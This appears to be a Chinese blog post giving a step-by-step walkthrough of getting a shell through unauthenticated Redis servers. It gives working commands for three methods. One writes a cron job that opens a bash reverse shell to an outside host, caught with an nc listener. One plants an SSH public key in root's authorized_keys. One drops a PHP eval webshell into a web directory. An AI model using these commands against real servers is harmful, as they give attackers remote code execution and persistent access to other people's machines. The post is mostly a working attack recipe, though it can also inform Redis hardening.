zoukankan      html  css  js  c++  java
  • redis未授权getshell

    Redis getshell的常用方法

    前言:今天同学突然提到了redis,想到最近搞站确实有一段时间没有遇到redis getshell的场景了(主要是最近懒,搞得少),有些利用方式都忘的差不多,这里再对常见的redis getshell方式总结并复现一遍,避免遗忘。如果有同学恰好看到了这篇文章,并能解决自己的问题,那还是极好的。

    众所周知,redis常见的getshell方式有如下几种:

    1、通过向Web目录中写webshell的方式进行getshell

    2、通过写SSH key的方式进行getshell

    3、通过写corntab的方式进行getshell

    当然,方法也不局限于此,而且以上方法也包括对一些当前用户权限、目录权限、Web目录是否已知等要求。同时除了getshell,该漏洞还会导致一些其他危害,so,如何利用还是要结合具体的场景进行分析。

    0x01 基础环境

    Ubuntu 16.04.4 LTS

    Redis server v=4.0.9

    0x02 redis服务搭建

    环境搭建主要分为两块介绍,一个是redis服务的搭建,另一个是redis客户端相关的环境搭建及常用命令介绍。

    redis服务的安装

    1步:redis服务的下载

    wget http://download.redis.io/releases/redis-4.0.9.tar.gz

     

    2步:redis解压、编译

    tar -zxvf redis-4.0.9.tar.gz

    cd redis-4.0.9

    make

    make test

    make install

     

    此时,redis服务的默认安装路径为/usr/local/bin

     

    3步:启动redis服务

    由于在新版本的redis服务中,默认监听地址已经由原来的0.0.0.0更新为127.0.0.1,为了还原漏洞现场,我们修改配置文件,将监听的IP地址改为0.0.0.0。

    vim redis.conf

     

    redis-server /root/redis-4.0.9/redis.conf

     

    0x03 redis在渗透中的getshell方法

    redis在渗透中常见的getshell方法已再前言部分总结,这里对相应的技术细节逐一进行介绍。

    1、通过写corntab的方式进行getshell

    我先在192.168.122.41这台服务器上启动redis服务,而后用192.168.122.40去连接41的redis服务,如下图

    1步:通过redis-cli进入交互式shell

    redis-cli.exe -h 192.168.122.41 -p 6379

     

    2步:设置文件夹路径

    config set dir /var/spool/cron/crontabs

    备注: linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。

    /var/spool/cron/用户名
    /var/spool/cron/crontabs/用户名
    /etc/crontab
    /etc/cron.d/xxx

    注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。

     

    3步:修改备份文件名

    config set dbfilename root

    4步:设置计划任务

    set -.- " * * * * * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1 "

    5步:保存

    save

     

    6部:监听公网机器指定端口,接收反弹回来的shell

    nc -v -l -p 9999

     

    Bingo!

    2、通过写SSH key的方式进行getshell

    如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
    利用条件:
    a.Redis服务使用ROOT账号启动
    b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
    先在本地生成一对密钥

    1步:本地生成公钥文件

    ssh-keygen -t rsa

     

    2步:将公钥写入foo.txt文件

    (echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt

     

    3步:设置路径、文件、写入公钥

    cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

    redis-cli -h 192.168.122.41

    config set dir /root/.ssh/

    config get dir

    config set dbfilename "authorized_keys"

    Save

     

     

    4步:连接之

    ssh -i  id_rsa root@192.168.122.41

     

    Bingo!

    3、通过向Web目录中写webshell的方式进行getshell

    限制条件:Web目录已知,当前用户在该目录下具有写权限。

    config set dir /var/www/test.com/html/

    config set dbfilename shell.php

    set 1 "<?php @eval($_POST['fuck']);?>"

    save

    菜刀连接之。

    0x04 后记

    实际操作起来,出现了很多非预期问题,比如说乱码啊、crontab格式问题导致执行不成功啊,shell弹不回来啊等等。折腾了一整天,解决了大部分吧

     

    文章参考:https://zhuanlan.zhihu.com/p/36529010

  • 相关阅读:
    盲签名——典型的数字签名技术
    环签名——典型的数字签名技术
    多重签名——典型的数字签名技术
    历史多数攻击——共识攻击介绍
    看一篇,学一篇,今日份的pandas,你该这么学!No.2
    哈希算法
    什么是多重签名?多重签名的概念
    POJ 1023 The Fun Number System
    (四)Spring Boot之配置文件-多环境配置
    (四)Spring Boot之配置文件-多环境配置
  • 原文地址:https://www.cnblogs.com/1008612mrzou/p/14832260.html
Copyright © 2011-2022 走看看